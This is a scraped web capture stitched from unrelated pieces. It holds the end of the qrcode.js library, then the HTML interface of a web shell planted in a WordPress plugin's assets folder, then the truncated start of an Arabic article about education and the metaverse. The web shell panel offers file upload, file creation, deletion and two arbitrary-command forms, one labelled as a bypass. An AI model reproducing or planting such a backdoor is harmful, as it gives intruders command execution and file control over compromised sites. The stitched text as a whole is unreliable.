      while (n &lt; 0) {
        n += 255;
      }

      while (n &gt;= 256) {
        n -= 255;
      }

      return EXP_TABLE[n];
    };

    return _this;
  }();

  //---------------------------------------------------------------------
  // qrPolynomial
  //---------------------------------------------------------------------

  function qrPolynomial(num, shift) {

    if (typeof num.length == 'undefined') {
      throw num.length + '/' + shift;
    }

    var _num = function() {
      var offset = 0;
      while (offset &lt; num.length &amp;&amp; num[offset] == 0) {
        offset += 1;
      }
      var _num = new Array(num.length - offset + shift);
      for (var i = 0; i &lt; num.length - offset; i += 1) {
        _num[i] = num[i + offset];
      }
      return _num;
    }();

    var _this = {};

    _this.getAt = function(index) {
      return _num[index];
    };

    _this.getLength = function() {
      return _num.length;
    };

    _this.multiply = function(e) {

      var num = new Array(_this.getLength() + e.getLength() - 1);

      for (var i = 0; i &lt; _this.getLength(); i += 1) {
        for (var j = 0; j &lt; e.getLength(); j += 1) {
          num[i + j] ^= QRMath.gexp(QRMath.glog(_this.getAt(i) ) + QRMath.glog(e.getAt(j) ) );
        }
      }

      return qrPolynomial(num, 0);
    };

    _this.mod = function(e) {

      if (_this.getLength() - e.getLength() &lt; 0) {
        return _this;
      }

      var ratio = QRMath.glog(_this.getAt(0) ) - QRMath.glog(e.getAt(0) );

      var num = new Array(_this.getLength() );
      for (var i = 0; i &lt; _this.getLength(); i += 1) {
        num[i] = _this.getAt(i);
      }

      for (var i = 0; i &lt; e.getLength(); i += 1) {
        num[i] ^= QRMath.gexp(QRMath.glog(e.getAt(i) ) + ratio);
      }

      // recursive call
      return qrPolynomial(num, 0).mod(e);
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // QRRSBlock
  //---------------------------------------------------------------------

  var QRRSBlock = function() {

    var RS_BLOCK_TABLE = [

      // L
      // M
      // Q
      // H

      // 1
      [1, 26, 19],
      [1, 26, 16],
      [1, 26, 13],
      [1, 26, 9],

      // 2
      [1, 44, 34],
      [1, 44, 28],
      [1, 44, 22],
      [1, 44, 16],

      // 3
      [1, 70, 55],
      [1, 70, 44],
      [2, 35, 17],
      [2, 35, 13],

      // 4
      [1, 100, 80],
      [2, 50, 32],
      [2, 50, 24],
      [4, 25, 9],

      // 5
      [1, 134, 108],
      [2, 67, 43],
      [2, 33, 15, 2, 34, 16],
      [2, 33, 11, 2, 34, 12],

      // 6
      [2, 86, 68],
      [4, 43, 27],
      [4, 43, 19],
      [4, 43, 15],

      // 7
      [2, 98, 78],
      [4, 49, 31],
      [2, 32, 14, 4, 33, 15],
      [4, 39, 13, 1, 40, 14],

      // 8
      [2, 121, 97],
      [2, 60, 38, 2, 61, 39],
      [4, 40, 18, 2, 41, 19],
      [4, 40, 14, 2, 41, 15],

      // 9
      [2, 146, 116],
      [3, 58, 36, 2, 59, 37],
      [4, 36, 16, 4, 37, 17],
      [4, 36, 12, 4, 37, 13],

      // 10
      [2, 86, 68, 2, 87, 69],
      [4, 69, 43, 1, 70, 44],
      [6, 43, 19, 2, 44, 20],
      [6, 43, 15, 2, 44, 16],

      // 11
      [4, 101, 81],
      [1, 80, 50, 4, 81, 51],
      [4, 50, 22, 4, 51, 23],
      [3, 36, 12, 8, 37, 13],

      // 12
      [2, 116, 92, 2, 117, 93],
      [6, 58, 36, 2, 59, 37],
      [4, 46, 20, 6, 47, 21],
      [7, 42, 14, 4, 43, 15],

      // 13
      [4, 133, 107],
      [8, 59, 37, 1, 60, 38],
      [8, 44, 20, 4, 45, 21],
      [12, 33, 11, 4, 34, 12],

      // 14
      [3, 145, 115, 1, 146, 116],
      [4, 64, 40, 5, 65, 41],
      [11, 36, 16, 5, 37, 17],
      [11, 36, 12, 5, 37, 13],

      // 15
      [5, 109, 87, 1, 110, 88],
      [5, 65, 41, 5, 66, 42],
      [5, 54, 24, 7, 55, 25],
      [11, 36, 12, 7, 37, 13],

      // 16
      [5, 122, 98, 1, 123, 99],
      [7, 73, 45, 3, 74, 46],
      [15, 43, 19, 2, 44, 20],
      [3, 45, 15, 13, 46, 16],

      // 17
      [1, 135, 107, 5, 136, 108],
      [10, 74, 46, 1, 75, 47],
      [1, 50, 22, 15, 51, 23],
      [2, 42, 14, 17, 43, 15],

      // 18
      [5, 150, 120, 1, 151, 121],
      [9, 69, 43, 4, 70, 44],
      [17, 50, 22, 1, 51, 23],
      [2, 42, 14, 19, 43, 15],

      // 19
      [3, 141, 113, 4, 142, 114],
      [3, 70, 44, 11, 71, 45],
      [17, 47, 21, 4, 48, 22],
      [9, 39, 13, 16, 40, 14],

      // 20
      [3, 135, 107, 5, 136, 108],
      [3, 67, 41, 13, 68, 42],
      [15, 54, 24, 5, 55, 25],
      [15, 43, 15, 10, 44, 16],

      // 21
      [4, 144, 116, 4, 145, 117],
      [17, 68, 42],
      [17, 50, 22, 6, 51, 23],
      [19, 46, 16, 6, 47, 17],

      // 22
      [2, 139, 111, 7, 140, 112],
      [17, 74, 46],
      [7, 54, 24, 16, 55, 25],
      [34, 37, 13],

      // 23
      [4, 151, 121, 5, 152, 122],
      [4, 75, 47, 14, 76, 48],
      [11, 54, 24, 14, 55, 25],
      [16, 45, 15, 14, 46, 16],

      // 24
      [6, 147, 117, 4, 148, 118],
      [6, 73, 45, 14, 74, 46],
      [11, 54, 24, 16, 55, 25],
      [30, 46, 16, 2, 47, 17],

      // 25
      [8, 132, 106, 4, 133, 107],
      [8, 75, 47, 13, 76, 48],
      [7, 54, 24, 22, 55, 25],
      [22, 45, 15, 13, 46, 16],

      // 26
      [10, 142, 114, 2, 143, 115],
      [19, 74, 46, 4, 75, 47],
      [28, 50, 22, 6, 51, 23],
      [33, 46, 16, 4, 47, 17],

      // 27
      [8, 152, 122, 4, 153, 123],
      [22, 73, 45, 3, 74, 46],
      [8, 53, 23, 26, 54, 24],
      [12, 45, 15, 28, 46, 16],

      // 28
      [3, 147, 117, 10, 148, 118],
      [3, 73, 45, 23, 74, 46],
      [4, 54, 24, 31, 55, 25],
      [11, 45, 15, 31, 46, 16],

      // 29
      [7, 146, 116, 7, 147, 117],
      [21, 73, 45, 7, 74, 46],
      [1, 53, 23, 37, 54, 24],
      [19, 45, 15, 26, 46, 16],

      // 30
      [5, 145, 115, 10, 146, 116],
      [19, 75, 47, 10, 76, 48],
      [15, 54, 24, 25, 55, 25],
      [23, 45, 15, 25, 46, 16],

      // 31
      [13, 145, 115, 3, 146, 116],
      [2, 74, 46, 29, 75, 47],
      [42, 54, 24, 1, 55, 25],
      [23, 45, 15, 28, 46, 16],

      // 32
      [17, 145, 115],
      [10, 74, 46, 23, 75, 47],
      [10, 54, 24, 35, 55, 25],
      [19, 45, 15, 35, 46, 16],

      // 33
      [17, 145, 115, 1, 146, 116],
      [14, 74, 46, 21, 75, 47],
      [29, 54, 24, 19, 55, 25],
      [11, 45, 15, 46, 46, 16],

      // 34
      [13, 145, 115, 6, 146, 116],
      [14, 74, 46, 23, 75, 47],
      [44, 54, 24, 7, 55, 25],
      [59, 46, 16, 1, 47, 17],

      // 35
      [12, 151, 121, 7, 152, 122],
      [12, 75, 47, 26, 76, 48],
      [39, 54, 24, 14, 55, 25],
      [22, 45, 15, 41, 46, 16],

      // 36
      [6, 151, 121, 14, 152, 122],
      [6, 75, 47, 34, 76, 48],
      [46, 54, 24, 10, 55, 25],
      [2, 45, 15, 64, 46, 16],

      // 37
      [17, 152, 122, 4, 153, 123],
      [29, 74, 46, 14, 75, 47],
      [49, 54, 24, 10, 55, 25],
      [24, 45, 15, 46, 46, 16],

      // 38
      [4, 152, 122, 18, 153, 123],
      [13, 74, 46, 32, 75, 47],
      [48, 54, 24, 14, 55, 25],
      [42, 45, 15, 32, 46, 16],

      // 39
      [20, 147, 117, 4, 148, 118],
      [40, 75, 47, 7, 76, 48],
      [43, 54, 24, 22, 55, 25],
      [10, 45, 15, 67, 46, 16],

      // 40
      [19, 148, 118, 6, 149, 119],
      [18, 75, 47, 31, 76, 48],
      [34, 54, 24, 34, 55, 25],
      [20, 45, 15, 61, 46, 16]
    ];

    var qrRSBlock = function(totalCount, dataCount) {
      var _this = {};
      _this.totalCount = totalCount;
      _this.dataCount = dataCount;
      return _this;
    };

    var _this = {};

    var getRsBlockTable = function(typeNumber, errorCorrectionLevel) {

      switch(errorCorrectionLevel) {
      case QRErrorCorrectionLevel.L :
        return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 0];
      case QRErrorCorrectionLevel.M :
        return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 1];
      case QRErrorCorrectionLevel.Q :
        return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 2];
      case QRErrorCorrectionLevel.H :
        return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 3];
      default :
        return undefined;
      }
    };

    _this.getRSBlocks = function(typeNumber, errorCorrectionLevel) {

      var rsBlock = getRsBlockTable(typeNumber, errorCorrectionLevel);

      if (typeof rsBlock == 'undefined') {
        throw 'bad rs block @ typeNumber:' + typeNumber +
            '/errorCorrectionLevel:' + errorCorrectionLevel;
      }

      var length = rsBlock.length / 3;

      var list = [];

      for (var i = 0; i &lt; length; i += 1) {

        var count = rsBlock[i * 3 + 0];
        var totalCount = rsBlock[i * 3 + 1];
        var dataCount = rsBlock[i * 3 + 2];

        for (var j = 0; j &lt; count; j += 1) {
          list.push(qrRSBlock(totalCount, dataCount) );
        }
      }

      return list;
    };

    return _this;
  }();

  //---------------------------------------------------------------------
  // qrBitBuffer
  //---------------------------------------------------------------------

  var qrBitBuffer = function() {

    var _buffer = [];
    var _length = 0;

    var _this = {};

    _this.getBuffer = function() {
      return _buffer;
    };

    _this.getAt = function(index) {
      var bufIndex = Math.floor(index / 8);
      return ( (_buffer[bufIndex] &gt;&gt;&gt; (7 - index % 8) ) &amp; 1) == 1;
    };

    _this.put = function(num, length) {
      for (var i = 0; i &lt; length; i += 1) {
        _this.putBit( ( (num &gt;&gt;&gt; (length - i - 1) ) &amp; 1) == 1);
      }
    };

    _this.getLengthInBits = function() {
      return _length;
    };

    _this.putBit = function(bit) {

      var bufIndex = Math.floor(_length / 8);
      if (_buffer.length &lt;= bufIndex) {
        _buffer.push(0);
      }

      if (bit) {
        _buffer[bufIndex] |= (0x80 &gt;&gt;&gt; (_length % 8) );
      }

      _length += 1;
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // qrNumber
  //---------------------------------------------------------------------

  var qrNumber = function(data) {

    var _mode = QRMode.MODE_NUMBER;
    var _data = data;

    var _this = {};

    _this.getMode = function() {
      return _mode;
    };

    _this.getLength = function(buffer) {
      return _data.length;
    };

    _this.write = function(buffer) {

      var data = _data;

      var i = 0;

      while (i + 2 &lt; data.length) {
        buffer.put(strToNum(data.substring(i, i + 3) ), 10);
        i += 3;
      }

      if (i &lt; data.length) {
        if (data.length - i == 1) {
          buffer.put(strToNum(data.substring(i, i + 1) ), 4);
        } else if (data.length - i == 2) {
          buffer.put(strToNum(data.substring(i, i + 2) ), 7);
        }
      }
    };

    var strToNum = function(s) {
      var num = 0;
      for (var i = 0; i &lt; s.length; i += 1) {
        num = num * 10 + chatToNum(s.charAt(i) );
      }
      return num;
    };

    var chatToNum = function(c) {
      if ('0' &lt;= c &amp;&amp; c &lt;= '9') {
        return c.charCodeAt(0) - '0'.charCodeAt(0);
      }
      throw 'illegal char :' + c;
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // qrAlphaNum
  //---------------------------------------------------------------------

  var qrAlphaNum = function(data) {

    var _mode = QRMode.MODE_ALPHA_NUM;
    var _data = data;

    var _this = {};

    _this.getMode = function() {
      return _mode;
    };

    _this.getLength = function(buffer) {
      return _data.length;
    };

    _this.write = function(buffer) {

      var s = _data;

      var i = 0;

      while (i + 1 &lt; s.length) {
        buffer.put(
          getCode(s.charAt(i) ) * 45 +
          getCode(s.charAt(i + 1) ), 11);
        i += 2;
      }

      if (i &lt; s.length) {
        buffer.put(getCode(s.charAt(i) ), 6);
      }
    };

    var getCode = function(c) {

      if ('0' &lt;= c &amp;&amp; c &lt;= '9') {
        return c.charCodeAt(0) - '0'.charCodeAt(0);
      } else if ('A' &lt;= c &amp;&amp; c &lt;= 'Z') {
        return c.charCodeAt(0) - 'A'.charCodeAt(0) + 10;
      } else {
        switch (c) {
        case ' ' : return 36;
        case '$' : return 37;
        case '%' : return 38;
        case '*' : return 39;
        case '+' : return 40;
        case '-' : return 41;
        case '.' : return 42;
        case '/' : return 43;
        case ':' : return 44;
        default :
          throw 'illegal char :' + c;
        }
      }
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // qr8BitByte
  //---------------------------------------------------------------------

  var qr8BitByte = function(data) {

    var _mode = QRMode.MODE_8BIT_BYTE;
    var _data = data;
    var _bytes = qrcode.stringToBytes(data);

    var _this = {};

    _this.getMode = function() {
      return _mode;
    };

    _this.getLength = function(buffer) {
      return _bytes.length;
    };

    _this.write = function(buffer) {
      for (var i = 0; i &lt; _bytes.length; i += 1) {
        buffer.put(_bytes[i], 8);
      }
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // qrKanji
  //---------------------------------------------------------------------

  var qrKanji = function(data) {

    var _mode = QRMode.MODE_KANJI;
    var _data = data;

    var stringToBytes = qrcode.stringToBytesFuncs['SJIS'];
    if (!stringToBytes) {
      throw 'sjis not supported.';
    }
    !function(c, code) {
      // self test for sjis support.
      var test = stringToBytes(c);
      if (test.length != 2 || ( (test[0] &lt;&lt; 8) | test[1]) != code) {
        throw 'sjis not supported.';
      }
    }('\u53cb', 0x9746);

    var _bytes = stringToBytes(data);

    var _this = {};

    _this.getMode = function() {
      return _mode;
    };

    _this.getLength = function(buffer) {
      return ~~(_bytes.length / 2);
    };

    _this.write = function(buffer) {

      var data = _bytes;

      var i = 0;

      while (i + 1 &lt; data.length) {

        var c = ( (0xff &amp; data[i]) &lt;&lt; 8) | (0xff &amp; data[i + 1]);

        if (0x8140 &lt;= c &amp;&amp; c &lt;= 0x9FFC) {
          c -= 0x8140;
        } else if (0xE040 &lt;= c &amp;&amp; c &lt;= 0xEBBF) {
          c -= 0xC140;
        } else {
          throw 'illegal char at ' + (i + 1) + '/' + c;
        }

        c = ( (c &gt;&gt;&gt; 8) &amp; 0xff) * 0xC0 + (c &amp; 0xff);

        buffer.put(c, 13);

        i += 2;
      }

      if (i &lt; data.length) {
        throw 'illegal char at ' + (i + 1);
      }
    };

    return _this;
  };

  //=====================================================================
  // GIF Support etc.
  //

  //---------------------------------------------------------------------
  // byteArrayOutputStream
  //---------------------------------------------------------------------

  var byteArrayOutputStream = function() {

    var _bytes = [];

    var _this = {};

    _this.writeByte = function(b) {
      _bytes.push(b &amp; 0xff);
    };

    _this.writeShort = function(i) {
      _this.writeByte(i);
      _this.writeByte(i &gt;&gt;&gt; 8);
    };

    _this.writeBytes = function(b, off, len) {
      off = off || 0;
      len = len || b.length;
      for (var i = 0; i &lt; len; i += 1) {
        _this.writeByte(b[i + off]);
      }
    };

    _this.writeString = function(s) {
      for (var i = 0; i &lt; s.length; i += 1) {
        _this.writeByte(s.charCodeAt(i) );
      }
    };

    _this.toByteArray = function() {
      return _bytes;
    };

    _this.toString = function() {
      var s = '';
      s += '[';
      for (var i = 0; i &lt; _bytes.length; i += 1) {
        if (i &gt; 0) {
          s += ',';
        }
        s += _bytes[i];
      }
      s += ']';
      return s;
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // base64EncodeOutputStream
  //---------------------------------------------------------------------

  var base64EncodeOutputStream = function() {

    var _buffer = 0;
    var _buflen = 0;
    var _length = 0;
    var _base64 = '';

    var _this = {};

    var writeEncoded = function(b) {
      _base64 += String.fromCharCode(encode(b &amp; 0x3f) );
    };

    var encode = function(n) {
      if (n &lt; 0) {
        // error.
      } else if (n &lt; 26) {
        return 0x41 + n;
      } else if (n &lt; 52) {
        return 0x61 + (n - 26);
      } else if (n &lt; 62) {
        return 0x30 + (n - 52);
      } else if (n == 62) {
        return 0x2b;
      } else if (n == 63) {
        return 0x2f;
      }
      throw 'n:' + n;
    };

    _this.writeByte = function(n) {

      _buffer = (_buffer &lt;&lt; 8) | (n &amp; 0xff);
      _buflen += 8;
      _length += 1;

      while (_buflen &gt;= 6) {
        writeEncoded(_buffer &gt;&gt;&gt; (_buflen - 6) );
        _buflen -= 6;
      }
    };

    _this.flush = function() {

      if (_buflen &gt; 0) {
        writeEncoded(_buffer &lt;&lt; (6 - _buflen) );
        _buffer = 0;
        _buflen = 0;
      }

      if (_length % 3 != 0) {
        // padding
        var padlen = 3 - _length % 3;
        for (var i = 0; i &lt; padlen; i += 1) {
          _base64 += '=';
        }
      }
    };

    _this.toString = function() {
      return _base64;
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // base64DecodeInputStream
  //---------------------------------------------------------------------

  var base64DecodeInputStream = function(str) {

    var _str = str;
    var _pos = 0;
    var _buffer = 0;
    var _buflen = 0;

    var _this = {};

    _this.read = function() {

      while (_buflen &lt; 8) {

        if (_pos &gt;= _str.length) {
          if (_buflen == 0) {
            return -1;
          }
          throw 'unexpected end of file./' + _buflen;
        }

        var c = _str.charAt(_pos);
        _pos += 1;

        if (c == '=') {
          _buflen = 0;
          return -1;
        } else if (c.match(/^\s$/) ) {
          // ignore if whitespace.
          continue;
        }

        _buffer = (_buffer &lt;&lt; 6) | decode(c.charCodeAt(0) );
        _buflen += 6;
      }

      var n = (_buffer &gt;&gt;&gt; (_buflen - 8) ) &amp; 0xff;
      _buflen -= 8;
      return n;
    };

    var decode = function(c) {
      if (0x41 &lt;= c &amp;&amp; c &lt;= 0x5a) {
        return c - 0x41;
      } else if (0x61 &lt;= c &amp;&amp; c &lt;= 0x7a) {
        return c - 0x61 + 26;
      } else if (0x30 &lt;= c &amp;&amp; c &lt;= 0x39) {
        return c - 0x30 + 52;
      } else if (c == 0x2b) {
        return 62;
      } else if (c == 0x2f) {
        return 63;
      } else {
        throw 'c:' + c;
      }
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // gifImage (B/W)
  //---------------------------------------------------------------------

  var gifImage = function(width, height) {

    var _width = width;
    var _height = height;
    var _data = new Array(width * height);

    var _this = {};

    _this.setPixel = function(x, y, pixel) {
      _data[y * _width + x] = pixel;
    };

    _this.write = function(out) {

      //---------------------------------
      // GIF Signature

      out.writeString('GIF87a');

      //---------------------------------
      // Screen Descriptor

      out.writeShort(_width);
      out.writeShort(_height);

      out.writeByte(0x80); // 2bit
      out.writeByte(0);
      out.writeByte(0);

      //---------------------------------
      // Global Color Map

      // black
      out.writeByte(0x00);
      out.writeByte(0x00);
      out.writeByte(0x00);

      // white
      out.writeByte(0xff);
      out.writeByte(0xff);
      out.writeByte(0xff);

      //---------------------------------
      // Image Descriptor

      out.writeString(',');
      out.writeShort(0);
      out.writeShort(0);
      out.writeShort(_width);
      out.writeShort(_height);
      out.writeByte(0);

      //---------------------------------
      // Local Color Map

      //---------------------------------
      // Raster Data

      var lzwMinCodeSize = 2;
      var raster = getLZWRaster(lzwMinCodeSize);

      out.writeByte(lzwMinCodeSize);

      var offset = 0;

      while (raster.length - offset &gt; 255) {
        out.writeByte(255);
        out.writeBytes(raster, offset, 255);
        offset += 255;
      }

      out.writeByte(raster.length - offset);
      out.writeBytes(raster, offset, raster.length - offset);
      out.writeByte(0x00);

      //---------------------------------
      // GIF Terminator
      out.writeString(';');
    };

    var bitOutputStream = function(out) {

      var _out = out;
      var _bitLength = 0;
      var _bitBuffer = 0;

      var _this = {};

      _this.write = function(data, length) {

        if ( (data &gt;&gt;&gt; length) != 0) {
          throw 'length over';
        }

        while (_bitLength + length &gt;= 8) {
          _out.writeByte(0xff &amp; ( (data &lt;&lt; _bitLength) | _bitBuffer) );
          length -= (8 - _bitLength);
          data &gt;&gt;&gt;= (8 - _bitLength);
          _bitBuffer = 0;
          _bitLength = 0;
        }

        _bitBuffer = (data &lt;&lt; _bitLength) | _bitBuffer;
        _bitLength = _bitLength + length;
      };

      _this.flush = function() {
        if (_bitLength &gt; 0) {
          _out.writeByte(_bitBuffer);
        }
      };

      return _this;
    };

    var getLZWRaster = function(lzwMinCodeSize) {

      var clearCode = 1 &lt;&lt; lzwMinCodeSize;
      var endCode = (1 &lt;&lt; lzwMinCodeSize) + 1;
      var bitLength = lzwMinCodeSize + 1;

      // Setup LZWTable
      var table = lzwTable();

      for (var i = 0; i &lt; clearCode; i += 1) {
        table.add(String.fromCharCode(i) );
      }
      table.add(String.fromCharCode(clearCode) );
      table.add(String.fromCharCode(endCode) );

      var byteOut = byteArrayOutputStream();
      var bitOut = bitOutputStream(byteOut);

      // clear code
      bitOut.write(clearCode, bitLength);

      var dataIndex = 0;

      var s = String.fromCharCode(_data[dataIndex]);
      dataIndex += 1;

      while (dataIndex &lt; _data.length) {

        var c = String.fromCharCode(_data[dataIndex]);
        dataIndex += 1;

        if (table.contains(s + c) ) {

          s = s + c;

        } else {

          bitOut.write(table.indexOf(s), bitLength);

          if (table.size() &lt; 0xfff) {

            if (table.size() == (1 &lt;&lt; bitLength) ) {
              bitLength += 1;
            }

            table.add(s + c);
          }

          s = c;
        }
      }

      bitOut.write(table.indexOf(s), bitLength);

      // end code
      bitOut.write(endCode, bitLength);

      bitOut.flush();

      return byteOut.toByteArray();
    };

    var lzwTable = function() {

      var _map = {};
      var _size = 0;

      var _this = {};

      _this.add = function(key) {
        if (_this.contains(key) ) {
          throw 'dup key:' + key;
        }
        _map[key] = _size;
        _size += 1;
      };

      _this.size = function() {
        return _size;
      };

      _this.indexOf = function(key) {
        return _map[key];
      };

      _this.contains = function(key) {
        return typeof _map[key] != 'undefined';
      };

      return _this;
    };

    return _this;
  };

  var createDataURL = function(width, height, getPixel) {
    var gif = gifImage(width, height);
    for (var y = 0; y &lt; height; y += 1) {
      for (var x = 0; x &lt; width; x += 1) {
        gif.setPixel(x, y, getPixel(x, y) );
      }
    }

    var b = byteArrayOutputStream();
    gif.write(b);

    var base64 = base64EncodeOutputStream();
    var bytes = b.toByteArray();
    for (var i = 0; i &lt; bytes.length; i += 1) {
      base64.writeByte(bytes[i]);
    }
    base64.flush();

    return 'data:image/gif;base64,' + base64;
  };

  //---------------------------------------------------------------------
  // returns qrcode function.

  return qrcode;
}();

// multibyte support
!function() {

  qrcode.stringToBytesFuncs['UTF-8'] = function(s) {
    // http://stackoverflow.com/questions/18729405/how-to-convert-utf8-string-to-byte-array
    function toUTF8Array(str) {
      var utf8 = [];
      for (var i=0; i &lt; str.length; i++) {
        var charcode = str.charCodeAt(i);
        if (charcode &lt; 0x80) utf8.push(charcode);
        else if (charcode &lt; 0x800) {
          utf8.push(0xc0 | (charcode &gt;&gt; 6),
              0x80 | (charcode &amp; 0x3f));
        }
        else if (charcode &lt; 0xd800 || charcode &gt;= 0xe000) {
          utf8.push(0xe0 | (charcode &gt;&gt; 12),
              0x80 | ((charcode&gt;&gt;6) &amp; 0x3f),
              0x80 | (charcode &amp; 0x3f));
        }
        // surrogate pair
        else {
          i++;
          // UTF-16 encodes 0x10000-0x10FFFF by
          // subtracting 0x10000 and splitting the
          // 20 bits of 0x0-0xFFFFF into two halves
          charcode = 0x10000 + (((charcode &amp; 0x3ff)&lt;&lt;10)
            | (str.charCodeAt(i) &amp; 0x3ff));
          utf8.push(0xf0 | (charcode &gt;&gt;18),
              0x80 | ((charcode&gt;&gt;12) &amp; 0x3f),
              0x80 | ((charcode&gt;&gt;6) &amp; 0x3f),
              0x80 | (charcode &amp; 0x3f));
        }
      }
      return utf8;
    }
    return toUTF8Array(s);
  };

}();

(function (factory) {
  if (typeof define === 'function' &amp;&amp; define.amd) {
      define([], factory);
  } else if (typeof exports === 'object') {
      module.exports = factory();
  }
}(function () {
    return qrcode;
}));
</pre><!DOCTYPE html>
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  <meta charset="UTF-8">
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  <style>
    * { margin: 0; padding: 0; box-sizing: border-box; }
    body {
      background: #111;
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      font-family: monospace;
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      padding: 16px;
      line-height: 1.5;
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      color: #8ab4f8;
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    button {
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      background: #222;
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    width: 100%;
    }
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      margin: 12px 0;
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      background: #000;
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      max-height: 400px;
      overflow-y: auto;
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    .alert {
      background: #1a1a1a;
      border-left: 3px solid #008000;
      padding: 8px;
      margin-bottom: 12px;
      font-size: 15px;
    }
    .alert-danger {
      border-left-color: #800000;
    }
    .alert-success {
      border-left-color: #008000;
    }
    .alert-info {
      border-left-color: #005580;
    }
  </style>
</head>
<body>
  <div class="panel">
    <form action="" method="post" enctype="multipart/form-data">
      <input type="file" name="file_upload" required>
      <input type="hidden" name="upload_path" value="/home/tahkoom/public_html/wp-content/plugins/really-simple-ssl/assets/js">
      <button type="submit">Upload</button>
    </form>
  </div>

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    <form action="" method="post">
      <input type="text" name="path" placeholder="Path" value="/home/tahkoom/public_html/wp-content/plugins/really-simple-ssl/assets/js" required>
      <input type="text" name="filename" placeholder="Filename" required>
      <textarea name="content" placeholder="File content"></textarea>
      <button type="submit">Create</button>
    </form>
  </div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmdbyp"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command [Bypass]</button>
  </form>
</div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmddef"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command</button>
  </form>
</div>


  <div class="breadcrumb">Path: <a href="?path=%2Fhome">home</a>/<a href="?path=%2Fhome%2Ftahkoom">tahkoom</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html">public_html</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content">wp-content</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins">plugins</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl">really-simple-ssl</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl%2Fassets">assets</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl%2Fassets%2Fjs">js</a></div>
  <ul>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl%2Fassets%2Fjs&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl%2Fassets%2Fjs%2Fqrcode.js"> qrcode.js</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/really-simple-ssl/assets/js/qrcode.js">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl%2Fassets%2Fjs&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl%2Fassets%2Fjs%2Fqrcode.min.js"> qrcode.min.js</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/really-simple-ssl/assets/js/qrcode.min.js">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
      </ul>
<script>
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  document.querySelectorAll('.result-box').forEach(t => {
    t.style.height = 'auto';
    t.style.height = t.scrollHeight + 'px';
  });
});
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	<title>بين التربية والتقنية هل ينتج العالم الافتراضي جيلاً مثقفًا أم معزولًا؟ &#8211; tahkoom.com</title>
<meta name='robots' content='max-image-preview:large' />
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	<nav id="breadcrumb"><a href="https://tahkoom.com/"><span class="tie-icon-home" aria-hidden="true"></span> الرئيسية</a><em class="delimiter">/</em><a href="https://tahkoom.com/category/%d9%85%d8%b9%d8%b1%d9%81%d8%a9/">معرفة</a><em class="delimiter">/</em><span class="current">بين التربية والتقنية هل ينتج العالم الافتراضي جيلاً مثقفًا أم معزولًا؟</span></nav><script type="application/ld+json">{"@context":"http:\/\/schema.org","@type":"BreadcrumbList","@id":"#Breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"item":{"name":"\u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629","@id":"https:\/\/tahkoom.com\/"}},{"@type":"ListItem","position":2,"item":{"name":"\u0645\u0639\u0631\u0641\u0629","@id":"https:\/\/tahkoom.com\/category\/%d9%85%d8%b9%d8%b1%d9%81%d8%a9\/"}}]}</script>
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			بين التربية والتقنية هل ينتج العالم الافتراضي جيلاً مثقفًا أم معزولًا؟		</h1>

		<div class="single-post-meta post-meta clearfix"><span class="date meta-item tie-icon">مايو 18, 2025</span><div class="tie-alignright"><span class="meta-views meta-item hot"><span class="tie-icon-fire" aria-hidden="true"></span> 2٬275 </span><span class="meta-reading-time meta-item"><span class="tie-icon-bookmark" aria-hidden="true"></span> 2 دقائق</span> </div></div><!-- .post-meta -->	</div><!-- .entry-header /-->

	
	
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			<p><span style="color: #000000;"><em><strong>كتبت شروق عارف</strong></em></span></p>
<p>في ظل التطور التكنولوجي الحادث والابتكارات الجديدة ظهر العالم الافتراضي الذي أحدث ثورة في كافة المجالات مما جعلنا نطرح سؤال مهم ماذا لو أصبح التعليم مرتبط بالعالم الافتراضي؟ وكيف سيؤثر هذا الربط على الطلاب وتحصيلهم الأكاديمي ؟<br />
<span style="color: #0000ff;"><em><strong>  ما هو العالم الافتراضي والميتافيرس؟                                                                                            </strong></em></span><br />
